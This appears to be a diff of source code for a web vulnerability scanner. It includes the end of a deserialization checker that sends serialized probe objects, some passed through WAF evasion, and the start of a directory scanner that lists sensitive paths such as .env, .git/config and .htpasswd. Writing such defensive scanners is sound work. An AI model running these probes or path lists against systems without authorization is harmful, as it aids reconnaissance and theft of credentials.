| 167 |
+
severity="Critical",
|
| 168 |
+
category="Insecure Deserialization",
|
| 169 |
+
cvss_score=9.8,
|
| 170 |
+
cwe_ids=["CWE-502"],
|
| 171 |
+
owasp_category="A08:2021 – Software and Data Integrity Failures",
|
| 172 |
+
confidence="High",
|
| 173 |
+
cve_ids=[],
|
| 174 |
+
references=["https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization"],
|
| 175 |
+
description=(
|
| 176 |
+
f"Sending a crafted `{label}` payload to `{self.target}` triggered "
|
| 177 |
+
f"deserialization error signals in the response (`{status}`).\n\n"
|
| 178 |
+
"The server appears to be deserializing the untrusted POST body, "
|
| 179 |
+
"which can lead to Remote Code Execution via gadget chains."
|
| 180 |
+
),
|
| 181 |
+
remediation=(
|
| 182 |
+
"1. Never deserialize untrusted data.\n"
|
| 183 |
+
"2. Use safe formats: JSON, XML with schema validation.\n"
|
| 184 |
+
"3. Implement deserialization allowlisting (Java: `ObjectInputFilter`).\n"
|
| 185 |
+
"4. Run deserialization in a sandboxed/restricted ClassLoader.\n"
|
| 186 |
+
"5. Deploy serialization kill-switches (ysoserial DefensiveObjectInputStream)."
|
| 187 |
+
),
|
| 188 |
+
payload=label,
|
| 189 |
+
evidence=f"Error signal matched for {label}",
|
| 190 |
+
request_details=f"POST {self.target} Content-Type: {content_type}",
|
| 191 |
+
response_details=f"HTTP {status} with error signal in response",
|
| 192 |
+
)
|
| 193 |
+
return
|
| 194 |
+
|
| 195 |
+
# ── 4. Header injection probe ─────────────────────────────────────────
|
| 196 |
+
def _test_header_injection(self):
|
| 197 |
+
headers_to_test = {
|
| 198 |
+
"X-Java-Serialized-Object": JAVA_PROBE_HEADER,
|
| 199 |
+
"X-Serialized-Object": JAVA_PROBE_HEADER,
|
| 200 |
+
"X-ViewState": "/wEyWSS==",
|
| 201 |
+
"X-Yaml-Object": base64.b64encode(b"--- !ruby/object:WssProbe\nname: test\n").decode(),
|
| 202 |
+
"X-Pickle-Object": base64.b64encode(b"\x80\x05\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.").decode(),
|
| 203 |
+
"X-PHP-Serialize": base64.b64encode(b'O:10:"WssProbe":1:{s:4:"test";s:2:"ok";}').decode(),
|
| 204 |
+
}
|
| 205 |
+
for header_name, value in headers_to_test.items():
|
| 206 |
+
for eva_name, eva_value in waf_evade(value):
|
| 207 |
+
body, status = self._make_request(self.target, headers={header_name: eva_value})
|
| 208 |
+
if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
|
| 209 |
+
self.add_vuln(
|
| 210 |
+
title=f"Deserialization via HTTP Header `{header_name}`",
|
| 211 |
+
severity="Critical",
|
| 212 |
+
category="Insecure Deserialization",
|
| 213 |
+
cvss_score=9.8,
|
| 214 |
+
cwe_ids=["CWE-502"],
|
| 215 |
+
owasp_category="A08:2021 – Software and Data Integrity Failures",
|
| 216 |
+
confidence="High",
|
| 217 |
+
description=(
|
| 218 |
+
f"Injecting a serialized object via the `{header_name}` header triggered "
|
| 219 |
+
"deserialization error signals, suggesting the application deserializes "
|
| 220 |
+
"this header value without validation."
|
| 221 |
+
),
|
| 222 |
+
remediation=(
|
| 223 |
+
"Reject or ignore custom serialization headers unless explicitly required. "
|
| 224 |
+
"Validate and type-check all incoming data before deserialization."
|
| 225 |
+
),
|
| 226 |
+
payload=eva_value[:50] + "...",
|
| 227 |
+
evidence=f"Error signal matched for header {header_name}",
|
| 228 |
+
request_details=f"GET {self.target} with {header_name} header",
|
| 229 |
+
response_details=f"HTTP {status} with error signature",
|
| 230 |
+
)
|
| 231 |
+
return
|
| 232 |
+
|
| 233 |
+
# ── 5. YAML / Pickle probes ──────────────────────────────────────────
|
| 234 |
+
def _test_yaml_pickle_probes(self):
|
| 235 |
+
probes = [
|
| 236 |
+
(b"--- !ruby/object:WssProbe\nname: test\n",
|
| 237 |
+
"application/x-yaml", "Ruby YAML (header)"),
|
| 238 |
+
(b"\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.",
|
| 239 |
+
"application/python-pickle", "Python pickle (header)"),
|
| 240 |
+
]
|
| 241 |
+
for payload_bytes, content_type, label in probes:
|
| 242 |
+
body, status = self._make_request(
|
| 243 |
+
self.target, headers={"X-Serialized-Payload": base64.b64encode(payload_bytes).decode()}
|
| 244 |
+
)
|
| 245 |
+
if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
|
| 246 |
+
self.log("CRITICAL", f"[Deserialization] {label} triggered error signal")
|
| 247 |
+
self.add_vuln(
|
| 248 |
+
title=f"Deserialization Signal via Header — {label}",
|
| 249 |
+
severity="Critical",
|
| 250 |
+
category="Insecure Deserialization",
|
| 251 |
+
cvss_score=9.5,
|
| 252 |
+
cwe_ids=["CWE-502"],
|
| 253 |
+
owasp_category="A08:2021 – Software and Data Integrity Failures",
|
| 254 |
+
confidence="Medium",
|
| 255 |
+
description=(
|
| 256 |
+
f"Sending base64-encoded {label} via custom header triggered "
|
| 257 |
+
"deserialization errors."
|
| 258 |
+
),
|
| 259 |
+
remediation="Restrict custom headers. Validate all incoming data.",
|
| 260 |
+
payload=label,
|
| 261 |
+
evidence="Error signal in response",
|
| 262 |
+
request_details=f"GET {self.target} with X-Serialized-Payload header",
|
| 263 |
+
response_details=f"HTTP {status}",
|
| 264 |
+
)
|
| 265 |
+
return
|
| 266 |
+
|
| 267 |
+
# ── 6. Expanded format probing ────────────────────────────────────────
|
| 268 |
+
def _test_expanded_formats(self):
|
| 269 |
+
all_payloads = JAVA_PAYLOADS + PHP_PAYLOADS + PYTHON_PICKLE_PAYLOADS + DOTNET_VIEWSTATE_PAYLOADS + RUBY_YAML_PAYLOADS
|
| 270 |
+
for payload_bytes, content_type, label in all_payloads:
|
| 271 |
+
body, status = self._make_request(
|
| 272 |
+
self.target, "POST", payload_bytes,
|
| 273 |
+
{"Content-Type": content_type}
|
| 274 |
+
)
|
| 275 |
+
if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
|
| 276 |
+
self.add_vuln(
|
| 277 |
+
title=f"Deserialization via POST — {label}",
|
| 278 |
+
severity="Critical",
|
| 279 |
+
category="Insecure Deserialization",
|
| 280 |
+
cvss_score=9.8,
|
| 281 |
+
cwe_ids=["CWE-502"],
|
| 282 |
+
owasp_category="A08:2021 – Software and Data Integrity Failures",
|
| 283 |
+
confidence="High",
|
| 284 |
+
description=f"Sending `{label}` payload to {self.target} triggered deserialization error signals.",
|
| 285 |
+
remediation="Never deserialize untrusted data. Use JSON/XML with schema validation.",
|
| 286 |
+
payload=label,
|
| 287 |
+
evidence=f"Error signal matched for {label}",
|
| 288 |
+
request_details=f"POST {self.target} Content-Type: {content_type}",
|
| 289 |
+
response_details=f"HTTP {status} with error signal",
|
| 290 |
+
)
|
| 291 |
+
return
|
| 292 |
+
|
| 293 |
+
# ── 7. Timing-based deserialization detection ─────────────────────────
|
| 294 |
+
def _test_timing_deser(self):
|
| 295 |
+
self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5, headers={})
|
| 296 |
+
for payload_bytes, content_type, label in JAVA_PAYLOADS[:2]:
|
| 297 |
+
_, _, elapsed = self._make_timed_request(
|
| 298 |
+
self.target, "POST", payload_bytes,
|
| 299 |
+
{"Content-Type": content_type}, timeout=15
|
| 300 |
+
)
|
| 301 |
+
if self._timing_detector.test_payload(f"deser_time_{label}", elapsed, label, z_threshold=2.5):
|
| 302 |
+
self.add_vuln(
|
| 303 |
+
title=f"Possible Timing-Based Deserialization — {label}",
|
| 304 |
+
severity="High",
|
| 305 |
+
category="Insecure Deserialization",
|
| 306 |
+
cvss_score=7.5,
|
| 307 |
+
cwe_ids=["CWE-502"],
|
| 308 |
+
owasp_category="A08:2021 – Software and Data Integrity Failures",
|
| 309 |
+
confidence="Low",
|
| 310 |
+
description=f"Sending `{label}` payload produced anomalous response time ({elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s), suggesting deserialization processing.",
|
| 311 |
+
remediation="Never deserialize untrusted data. Implement ObjectInputFilter.",
|
| 312 |
+
payload=label,
|
| 313 |
+
evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s",
|
| 314 |
+
request_details=f"POST {self.target} Content-Type: {content_type}",
|
| 315 |
+
response_details=f"Response time: {elapsed:.2f}s",
|
| 316 |
+
)
|
| 317 |
+
return
|
| 318 |
+
|
| 319 |
+
# ── Signature checker ─────────────────────────────────────────────────
|
| 320 |
+
def _check_value(self, source: str, key: str, value: str):
|
| 321 |
+
self._match_signatures(source, key, value)
|
| 322 |
+
|
| 323 |
+
try:
|
| 324 |
+
padded = value + "=" * ((4 - len(value) % 4) % 4)
|
| 325 |
+
decoded_bytes = base64.b64decode(padded)
|
| 326 |
+
decoded_str = decoded_bytes.decode("utf-8", errors="ignore")
|
| 327 |
+
self._match_signatures(source, key, decoded_str, encoding="base64")
|
| 328 |
+
for tech, checks in SIGNATURES.items():
|
| 329 |
+
for fn, enc in checks:
|
| 330 |
+
if enc == "raw_bytes" and fn(decoded_bytes):
|
| 331 |
+
self._report(source, key, tech, "base64->bytes")
|
| 332 |
+
except Exception as e:
|
| 333 |
+
self.log("ERROR", f"[Deserialization] Base64 decode error: {e}")
|
| 334 |
+
|
| 335 |
+
def _match_signatures(self, source, key, content, encoding="raw"):
|
| 336 |
+
for tech, checks in SIGNATURES.items():
|
| 337 |
+
for fn, enc in checks:
|
| 338 |
+
if enc in ("raw", "form_field", "base64") and fn(content):
|
| 339 |
+
if len(content) > 8:
|
| 340 |
+
self._report(source, key, tech, encoding)
|
| 341 |
+
return
|
| 342 |
+
|
| 343 |
+
def _report(self, source, key, tech, encoding):
|
| 344 |
+
if any(v["title"].startswith(f"Insecure Deserialization ({tech})") for v in self.vulns):
|
| 345 |
+
return
|
| 346 |
+
self.add_vuln(
|
| 347 |
+
title=f"Insecure Deserialization ({tech}) in {source}",
|
| 348 |
+
severity="Critical",
|
| 349 |
+
category="Insecure Deserialization",
|
| 350 |
+
cvss_score=9.8,
|
| 351 |
+
cwe_ids=["CWE-502"],
|
| 352 |
+
owasp_category="A08:2021 – Software and Data Integrity Failures",
|
| 353 |
+
confidence="High",
|
| 354 |
+
cve_ids=["CVE-2015-4852"] if "Java" in tech else [],
|
| 355 |
+
references=["https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html"],
|
| 356 |
+
description=(
|
| 357 |
+
f"Detected a **{tech}** serialized object in `{source}` -> `{key}` ({encoding}).\n\n"
|
| 358 |
+
"Untrusted deserialization typically leads to **Remote Code Execution (RCE)** "
|
| 359 |
+
"via gadget chains (e.g., ysoserial, phpggc)."
|
| 360 |
+
),
|
| 361 |
+
remediation=(
|
| 362 |
+
"1. Use JSON/XML with schema validation instead of native serialization.\n"
|
| 363 |
+
"2. Implement type allowlisting before deserialization.\n"
|
| 364 |
+
"3. Java: use `ObjectInputFilter` (JDK 9+) to block unexpected classes.\n"
|
| 365 |
+
"4. PHP: set `allowed_classes` in `unserialize()` calls.\n"
|
| 366 |
+
"5. Monitor for deserialization exceptions in production logs."
|
| 367 |
+
),
|
| 368 |
+
payload=key,
|
| 369 |
+
evidence=f"Serialization format: {tech}",
|
| 370 |
+
request_details=f"Source: {source}",
|
| 371 |
+
response_details=f"Encoded as: {encoding}",
|
| 372 |
+
)
|
| 373 |
+
self.log("CRITICAL", f"[Deserialization] {tech} signature in {source}:{key}")
|
backend/scanners/directory_scanner.py
ADDED
|
@@ -0,0 +1,768 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
directory_scanner.py — Checks for exposure of sensitive files and directories.
|
| 3 |
+
Tests a curated list of paths commonly left exposed on misconfigured web servers.
|
| 4 |
+
No external dependencies required.
|
| 5 |
+
"""
|
| 6 |
+
from scanners.base_scanner import BaseScanner
|
| 7 |
+
|
| 8 |
+
SENSITIVE_PATHS = [
|
| 9 |
+
# Source Control
|
| 10 |
+
("/.git/config", "Git Config Exposed", "Critical", 9.8,
|
| 11 |
+
"The .git/config file reveals remote repository URLs, branches, and potentially credentials. Attackers can clone the entire source code.",
|
| 12 |
+
"Block .git access in web server:\n Nginx: location ~ /\\.git { deny all; return 404; }\n Apache: RedirectMatch 404 /\\.git"),
|
| 13 |
+
|
| 14 |
+
("/.git/HEAD", "Git Repository Accessible", "Critical", 9.1,
|
| 15 |
+
"The .git directory is publicly accessible, allowing full source code reconstruction via git-dumper.",
|
| 16 |
+
"Block all access to the .git directory. Never deploy web apps with .git directories in the web root."),
|
| 17 |
+
|
| 18 |
+
("/.svn/entries", "SVN Repository Exposed", "High", 7.5,
|
| 19 |
+
"Subversion metadata is publicly accessible, potentially exposing source code and history.",
|
| 20 |
+
"Block .svn directory access at the web server level and remove .svn directories from your web root."),
|
| 21 |
+
|
| 22 |
+
("/.hg/", "Mercurial Repository Exposed", "High", 7.5,
|
| 23 |
+
"Mercurial (Hg) repository directory is accessible, exposing version control data.",
|
| 24 |
+
"Block .hg directory access and remove from web root."),
|
| 25 |
+
|
| 26 |
+
# Environment & Config
|
| 27 |
+
("/.env", ".env File Exposed", "Critical", 9.8,
|
| 28 |
+
"The .env configuration file is publicly accessible. It typically contains database passwords, API keys, JWT secrets, and AWS credentials.",
|
| 29 |
+
"Never place .env files in the web root. Block with:\n Nginx: location ~ /\\.env { deny all; }"),
|
| 30 |
+
|
| 31 |
+
("/.env.local", ".env.local File Exposed", "Critical", 9.8,
|
| 32 |
+
"Local environment override file is accessible, potentially containing developer credentials.",
|
| 33 |
+
"Remove all .env variants from the web root and block access via server config."),
|
| 34 |
+
|
| 35 |
+
("/.env.backup", ".env Backup Exposed", "Critical", 9.8,
|
| 36 |
+
"A backup of the environment configuration file is accessible.",
|
| 37 |
+
"Remove all .env backup files and block access at the web server level."),
|
| 38 |
+
|
| 39 |
+
("/.env.production", ".env.production File Exposed", "Critical", 9.8,
|
| 40 |
+
"Production environment configuration is publicly accessible.",
|
| 41 |
+
"Remove production environment files from web root immediately."),
|
| 42 |
+
|
| 43 |
+
("/.env.development", ".env.development File Exposed", "High", 7.5,
|
| 44 |
+
"Development environment configuration is accessible, potentially containing development credentials.",
|
| 45 |
+
"Remove development environment files from production deployments."),
|
| 46 |
+
|
| 47 |
+
("/.env.staging", ".env.staging File Exposed", "High", 7.5,
|
| 48 |
+
"Staging environment configuration is accessible.",
|
| 49 |
+
"Remove staging environment files from public access."),
|
| 50 |
+
|
| 51 |
+
("/config.php", "PHP Config File Exposed", "High", 7.5,
|
| 52 |
+
"A PHP configuration file containing database credentials may be readable.",
|
| 53 |
+
"Move config files above the web root or restrict access."),
|
| 54 |
+
|
| 55 |
+
("/wp-config.php", "WordPress Config Exposed", "Critical", 9.8,
|
| 56 |
+
"WordPress configuration file is accessible, exposing database host, name, user, and password.",
|
| 57 |
+
"Ensure wp-config.php is not web-accessible. WordPress should normally protect this."),
|
| 58 |
+
|
| 59 |
+
("/wp-config.php.bak", "WordPress Config Backup Exposed", "Critical", 9.8,
|
| 60 |
+
"WordPress configuration backup file is accessible.",
|
| 61 |
+
"Remove all .bak files from web root immediately."),
|
| 62 |
+
|
| 63 |
+
("/config/database.yml", "Rails DB Config Exposed", "Critical", 9.8,
|
| 64 |
+
"Ruby on Rails database configuration file is publicly accessible with database credentials.",
|
| 65 |
+
"Add config/database.yml to .gitignore and restrict web access."),
|
| 66 |
+
|
| 67 |
+
("/appsettings.json", "ASP.NET Config Exposed", "High", 7.5,
|
| 68 |
+
"ASP.NET Core configuration file may expose connection strings and API keys.",
|
| 69 |
+
"Restrict web access to appsettings.json. Use Azure Key Vault or environment variables for secrets."),
|
| 70 |
+
|
| 71 |
+
("/application.properties","Java Config Exposed", "High", 7.5,
|
| 72 |
+
"Java/Spring application properties file may contain database credentials and API keys.",
|
| 73 |
+
"Move configuration files outside web root or use environment variables."),
|
| 74 |
+
|
| 75 |
+
("/application.yml", "YAML Config Exposed", "High", 7.5,
|
| 76 |
+
"YAML configuration file may contain sensitive configuration data.",
|
| 77 |
+
"Restrict access to configuration files."),
|
| 78 |
+
|
| 79 |
+
("/settings.py", "Python Config Exposed", "High", 7.5,
|
| 80 |
+
"Python Django settings file may contain secret keys and database credentials.",
|
| 81 |
+
"Move settings.py outside web root or use environment variables."),
|
| 82 |
+
|
| 83 |
+
("/.htaccess", ".htaccess File Exposed", "Medium", 5.3,
|
| 84 |
+
"Apache .htaccess configuration file is readable, potentially revealing rewrite rules and security configurations.",
|
| 85 |
+
"Restrict access to .htaccess files."),
|
| 86 |
+
|
| 87 |
+
("/.htpasswd", ".htpasswd File Exposed", "High", 7.5,
|
| 88 |
+
"Apache .htpasswd file contains password hashes for basic authentication.",
|
| 89 |
+
"Remove .htpasswd files from web root immediately."),
|
| 90 |
+
|
| 91 |
+
# Admin Panels
|
| 92 |
+
("/admin", "Admin Panel Exposed", "Medium", 5.3,
|
| 93 |
+
"An admin panel is publicly accessible. Exposed admin interfaces are prime targets for brute-force and credential stuffing attacks.",
|
| 94 |
+
"Restrict admin access to specific IP ranges:\n Nginx: allow 10.0.0.0/8; deny all;"),
|
| 95 |
+
|
| 96 |
+
("/administrator", "Admin Panel Exposed", "Medium", 5.3,
|
| 97 |
+
"Administrator panel is publicly accessible.",
|
| 98 |
+
"Restrict access and implement strong authentication."),
|
| 99 |
+
|
| 100 |
+
("/wp-admin/", "WordPress Admin Exposed", "Medium", 5.3,
|
| 101 |
+
"WordPress admin login is publicly accessible, enabling brute-force attacks.",
|
| 102 |
+
"Use plugins like WP Cerber or Wordfence to limit login attempts. Consider hiding wp-admin via URL change."),
|
| 103 |
+
|
| 104 |
+
("/wp-login.php", "WordPress Login Exposed", "Medium", 5.3,
|
| 105 |
+
"WordPress login page is publicly accessible.",
|
| 106 |
+
"Implement rate limiting and 2FA for WordPress logins."),
|
| 107 |
+
|
| 108 |
+
("/phpmyadmin/", "phpMyAdmin Exposed", "High", 8.0,
|
| 109 |
+
"phpMyAdmin database management interface is publicly accessible. Default credentials are widely known.",
|
| 110 |
+
"Remove phpMyAdmin from public-facing servers. Access databases only via SSH tunnel."),
|
| 111 |
+
|
| 112 |
+
("/adminer.php", "Adminer DB Manager Exposed", "High", 8.0,
|
| 113 |
+
"Adminer database management tool is publicly accessible on the production server.",
|
| 114 |
+
"Remove adminer.php from production. Use SSH tunnels for database management."),
|
| 115 |
+
|
| 116 |
+
("/mysql/", "MySQL Admin Exposed", "High", 8.0,
|
| 117 |
+
"MySQL administration interface is publicly accessible.",
|
| 118 |
+
"Remove MySQL admin interfaces from public access."),
|
| 119 |
+
|
| 120 |
+
("/pgadmin/", "pgAdmin Exposed", "High", 8.0,
|
| 121 |
+
"PostgreSQL administration interface is publicly accessible.",
|
| 122 |
+
"Remove pgAdmin from public access."),
|
| 123 |
+
|
| 124 |
+
("/solr/", "Apache Solr Exposed", "Medium", 5.3,
|
| 125 |
+
"Apache Solr search interface is publicly accessible.",
|
| 126 |
+
"Restrict access to Solr admin interface."),
|
| 127 |
+
|
| 128 |
+
("/elasticsearch/", "Elasticsearch Exposed", "Medium", 5.3,
|
| 129 |
+
"Elasticsearch interface is publicly accessible.",
|
| 130 |
+
"Restrict access to Elasticsearch."),
|
| 131 |
+
|
| 132 |
+
("/kibana/", "Kibana Exposed", "Medium", 5.3,
|
| 133 |
+
"Kibana dashboard is publicly accessible.",
|
| 134 |
+
"Restrict access to Kibana."),
|
| 135 |
+
|
| 136 |
+
("/grafana/", "Grafana Exposed", "Medium", 5.3,
|
| 137 |
+
"Grafana dashboard is publicly accessible.",
|
| 138 |
+
"Restrict access to Grafana."),
|
| 139 |
+
|
| 140 |
+
("/jenkins/", "Jenkins Exposed", "Medium", 5.3,
|
| 141 |
+
"Jenkins CI/CD server is publicly accessible.",
|
| 142 |
+
"Restrict access to Jenkins."),
|
| 143 |
+
|
| 144 |
+
("/jira/", "Jira Exposed", "Medium", 5.3,
|
| 145 |
+
"Jira issue tracker is publicly accessible.",
|
| 146 |
+
"Restrict access to Jira."),
|
| 147 |
+
|
| 148 |
+
("/confluence/", "Confluence Exposed", "Medium", 5.3,
|
| 149 |
+
"Confluence wiki is publicly accessible.",
|
| 150 |
+
"Restrict access to Confluence."),
|
| 151 |
+
|
| 152 |
+
# Backup Files
|
| 153 |
+
("/backup.zip", "Backup Archive Exposed", "Critical", 9.1,
|
| 154 |
+
"A backup archive file is publicly downloadable. Backup files often contain full source code, databases, and configuration.",
|
| 155 |
+
